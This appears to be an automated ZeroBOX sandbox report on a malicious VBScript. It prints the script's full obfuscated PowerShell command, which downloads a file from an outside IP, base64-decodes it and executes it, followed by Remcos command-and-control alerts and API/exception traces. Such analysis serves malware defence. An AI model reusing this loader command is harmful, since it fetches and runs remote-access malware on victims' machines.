Summary | ZeroBOX

Blotlg1NOUSE.vbs

Generic Malware Antivirus
Category Machine Started Completed
FILE s1_win7_x6401 March 21, 2023, 5:22 p.m. March 21, 2023, 5:25 p.m.
Size 34.3KB
Type ASCII text, with CRLF line terminators
MD5 78a900693c638974a061a547f55ea676
SHA256 2082d90b180fdb036a6962f3fa11b00355148d9805498c877cb9e50719504197
CRC32 918C587B
ssdeep 768:UObC9H+cJLifxj/gqJ77UwZZ3d8LbXK4HkMBGkd0W:J242ifBve6ZNEbBP
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Blotlg1NOUSE.vbs

    2568
    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"

      1728

IP Address Status Action
109.206.240.67 Active Moloch
164.124.101.2 Active Moloch
178.237.33.50 Active Moloch
78.142.18.37 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49167 -> 78.142.18.37:2404 2036594 ET JA3 Hash - Remcos 3.x TLS Connection Malware Command and Control Activity Detected
UDP 192.168.56.101:59002 -> 164.124.101.2:53 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related Potentially Bad Traffic

Suricata TLS

Flow Issuer Subject Fingerprint
TLS 1.3
192.168.56.101:49167
78.142.18.37:2404
None None None

Time & API Arguments Status Return Repeated

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

0 0
Time & API Arguments Status Return Repeated

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532860
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532960
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532960
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532960
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532960
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532960
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532960
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532420
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532420
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532420
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532ce0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00532560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005331e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005331e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x062de080
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x062de080
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x062df080
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x062df080
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x062df080
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x062df080
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x062df0c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x062df0c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x062df0c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x062df100
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

1 1 0
Time & API Arguments Status Return Repeated

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 73 06 9e 8c f7 34 ae ad e9 90 01 83 44 e8 00 66
exception.instruction: jae 0xb3fe8bb
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0xb3fe8b3
registers.esp: 100591604
registers.edi: 188737359
registers.eax: 104151976
registers.ebp: 100591612
registers.edx: 188735488
registers.ebx: 256
registers.esi: 100591600
registers.ecx: 188737612
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 98 19 59 f9 fb f2 49 5f 51 b9 65 ff 6a 2d 81
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb3fe8c9
registers.esp: 100591612
registers.edi: 188737359
registers.eax: 104151976
registers.ebp: 100591612
registers.edx: 188735488
registers.ebx: 188735488
registers.esi: 1995838602
registers.ecx: 188737612
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 89 11 82 4e c4 9f 23 26 0a c8 fc 9c b7 bf da 69
exception.instruction: mov dword ptr [ecx], edx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xb3fe8ea
registers.esp: 100591608
registers.edi: 188737359
registers.eax: 104151976
registers.ebp: 100591612
registers.edx: 188735488
registers.ebx: 188735488
registers.esi: 1995838602
registers.ecx: 0
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 85 c5 0b 49 e5 69 55 a0 b1 47 14 fd 01 bb c6
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb3fe903
registers.esp: 100591608
registers.edi: 188737359
registers.eax: 104151976
registers.ebp: 100591612
registers.edx: 188735488
registers.ebx: 188735488
registers.esi: 1995838602
registers.ecx: 188737612
1 0 0

__exception__

stacktrace:
GetStartupInfoA-0x10e00 kernel32+0x0 @ 0x755b0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 98 00 2d f7 33 6b 1b 07 81 f6 a9 b6 bb 99 56
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb3fe943
registers.esp: 100591612
registers.edi: 188737359
registers.eax: 1969084418
registers.ebp: 100591612
registers.edx: 1969720771
registers.ebx: 3332935398
registers.esi: 2884630758
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
GetStartupInfoA-0x10e00 kernel32+0x0 @ 0x755b0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 89 0e 9c 6c 56 74 2b 3b f0 a0 5d 21 00 5e 81 c6
exception.instruction: mov dword ptr [esi], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xb3fe964
registers.esp: 100591608
registers.edi: 188737359
registers.eax: 1969084418
registers.ebp: 100591612
registers.edx: 1969720771
registers.ebx: 3332935398
registers.esi: 0
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
GetStartupInfoA-0x10e00 kernel32+0x0 @ 0x755b0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 89 03 9c cb 96 2a b9 fa 30 43 74 45 00 5b e8 40
exception.instruction: mov dword ptr [ebx], eax
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xb3fe997
registers.esp: 100591604
registers.edi: 188737359
registers.eax: 1969084418
registers.ebp: 100591612
registers.edx: 1969720771
registers.ebx: 0
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 89 3b 9e 9c dc ac c8 d5 9f d2 f0 1f 63 b1 00 5b
exception.instruction: mov dword ptr [ebx], edi
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xb3fe9c8
registers.esp: 100591608
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 1969720771
registers.ebx: 0
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 89 38 9f ea 20 d7 c0 8c 4c 1c 3e 8c f3 00 58 8b
exception.instruction: mov dword ptr [eax], edi
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xb3fe9f6
registers.esp: 100591604
registers.edi: 188737359
registers.eax: 0
registers.ebp: 100591612
registers.edx: 1969720771
registers.ebx: 3332935398
registers.esi: 105840640
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 70 04 9f bf dd 01 72 51 a0 8a 0e 6e ec 00 84 ee
exception.instruction: jo 0xb3fea2c
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0xb3fea26
registers.esp: 100591600
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 1969720771
registers.ebx: 256
registers.esi: 100591596
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 89 3b 85 ba 9c 30 05 db 0a 0e 76 38 3c 9d 7b 97
exception.instruction: mov dword ptr [ebx], edi
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xb417124
registers.esp: 100591600
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840640
registers.ebx: 0
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 89 1e 9b a0 7c 3d a1 c5 fd 00 5e 56 be cd ec ef
exception.instruction: mov dword ptr [esi], ebx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xb41715d
registers.esp: 100591600
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840640
registers.ebx: 3332935398
registers.esi: 0
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 89 16 9a 33 0b 25 1a ef 6e fd 00 5e 81 32 5d 0f
exception.instruction: mov dword ptr [esi], edx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xb417180
registers.esp: 100591600
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840640
registers.ebx: 3332935398
registers.esi: 0
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 7b 07 82 43 ee b7 05 f2 d1 66 f0 a1 27 16 aa d4
exception.instruction: jnp 0xb4171ba
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0xb4171b1
registers.esp: 100591596
registers.edi: 188737359
registers.eax: 256
registers.ebp: 100591612
registers.edx: 105840640
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 100591592
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 9a 90 dd 0a c5 d1 23 22 84 1e cc 9f 80 10 3a
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb4171d1
registers.esp: 100591604
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840640
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 9f 80 10 3a 87 7e 74 4a cb 71 0c 0d e1 81 c2
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb4171dc
registers.esp: 100591604
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840640
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 94 9f 54 3c cc 95 1b dd 81 32 c8 dc 73 82 c7
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb417208
registers.esp: 100591604
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840644
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 95 1b dd 81 32 c8 dc 73 82 c7 85 c2 01 00 00
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb41720d
registers.esp: 100591604
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840644
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 70 08 86 c3 e9 0d 6b 39 a1 a5 27 9c 00 4a e4 fc
exception.instruction: jo 0xb41725d
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0xb417253
registers.esp: 100591596
registers.edi: 256
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840644
registers.ebx: 100591592
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 9c 48 30 f1 41 6e 98 82 fa 6b 2c 3d 81 85 c2
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb41727a
registers.esp: 100591604
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840644
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 7a 0f 86 3a 85 d0 f5 50 83 00 3a e2 9e b6 69 78
exception.instruction: jp 0xb4172c9
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0xb4172b8
registers.esp: 100591596
registers.edi: 188737359
registers.eax: 100591592
registers.ebp: 100591612
registers.edx: 256
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 89 33 97 5e 24 00 5b 81 2a 4f b3 84 f1 81 2a 27
exception.instruction: mov dword ptr [ebx], esi
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xb4172fe
registers.esp: 100591600
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840648
registers.ebx: 0
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 79 04 82 a5 b1 00 e7 3f 2d c6 3a 4c c5 57 ef 72
exception.instruction: jns 0xb417351
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0xb41734b
registers.esp: 100591596
registers.edi: 188737359
registers.eax: 256
registers.ebp: 100591612
registers.edx: 100591592
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 84 7b 51 fb 54 05 0a 15 1c 34 80 cd 60 8d 10
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb41736a
registers.esp: 100591604
registers.edi: 188737359
registers.eax: 2435258692
registers.ebp: 100591612
registers.edx: 105840648
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 89 3b 9b 58 fe 17 b4 18 5c 00 5b 35 40 19 27 91
exception.instruction: mov dword ptr [ebx], edi
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xb417397
registers.esp: 100591600
registers.edi: 188737359
registers.eax: 2435258692
registers.ebp: 100591612
registers.edx: 105840648
registers.ebx: 0
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 84 79 5c 9b 7c 7e 2e 01 df 6b 64 81 e2 8f ac
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb4173a7
registers.esp: 100591604
registers.edi: 188737359
registers.eax: 4
registers.ebp: 100591612
registers.edx: 105840648
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 77 03 9c da 68 3c 08 19 38 d3 fb 95 00 84 f5 59
exception.instruction: ja 0xb4173e9
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0xb4173e4
registers.esp: 100591596
registers.edi: 188737359
registers.eax: 4
registers.ebp: 100591612
registers.edx: 105840648
registers.ebx: 256
registers.esi: 5127696
registers.ecx: 100591592
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: 7a 06 80 8b 10 d6 57 0a 01 56 67 82 d9 c2 47 cf
exception.instruction: jp 0xb417422
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0xb41741a
registers.esp: 100591596
registers.edi: 256
registers.eax: 100591592
registers.ebp: 100591612
registers.edx: 105840652
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

exception.instruction_r: cc 97 63 7a 5b f9 81 02 f6 ef 4b 50 cc 97 0d 6d
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0xb417444
registers.esp: 100591604
registers.edi: 188737359
registers.eax: 105840640
registers.ebp: 100591612
registers.edx: 105840652
registers.ebx: 3332935398
registers.esi: 5127696
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa

